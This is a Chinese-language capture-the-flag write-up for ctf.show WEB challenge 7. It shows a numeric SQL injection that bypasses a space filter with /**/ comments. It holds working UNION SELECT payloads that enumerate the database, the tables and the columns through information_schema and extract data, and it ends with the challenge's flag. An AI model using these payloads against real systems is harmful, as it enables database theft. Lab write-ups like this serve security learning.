ctfshow-WEB-web7

ctf.show WEB模块第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格

 

ctfshow-WEB-web7_第1张图片

 

页面中有一个文章列表,随便点一个

ctfshow-WEB-web7_第2张图片

 从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞

ctfshow-WEB-web7_第3张图片

 

首先判断注入点,输入以下payload,使SQL恒成立

1/**/and/**/1

可以看到,页面正常显示

ctfshow-WEB-web7_第4张图片

 在输入以下payload,使SQL恒不成立

1/**/and/**/0

可以看到,页面空显示

 由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库

 先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

-1/**/union/**/select/**/1,2,3

ctfshow-WEB-web7_第5张图片

 

接下来判断当前使用的数据库,盲猜flag就藏在当前使用的数据库中

-1/**/union/**/select/**/1,database(),3

当前使用的数据库是web7

ctfshow-WEB-web7_第6张图片

 

接下来获取当前数据库中的所有表

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

有一个flag表,那flag肯定就藏在这个表里面

ctfshow-WEB-web7_第7张图片

 

接下来获取flag表中的所有字段

-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

flag表中只有一个flag字段

ctfshow-WEB-web7_第8张图片

 

接下来查询flag表的flag字段,获取flag

-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

成功获取flag

ctfshow-WEB-web7_第9张图片

 

将全部内容复制到输入框中,提交flag即可过关

ctfshow{aced2bcb-bf9d-4e92-a8f7-2019f63ca4df}

你可能感兴趣的:(通关教程,网络安全,渗透测试)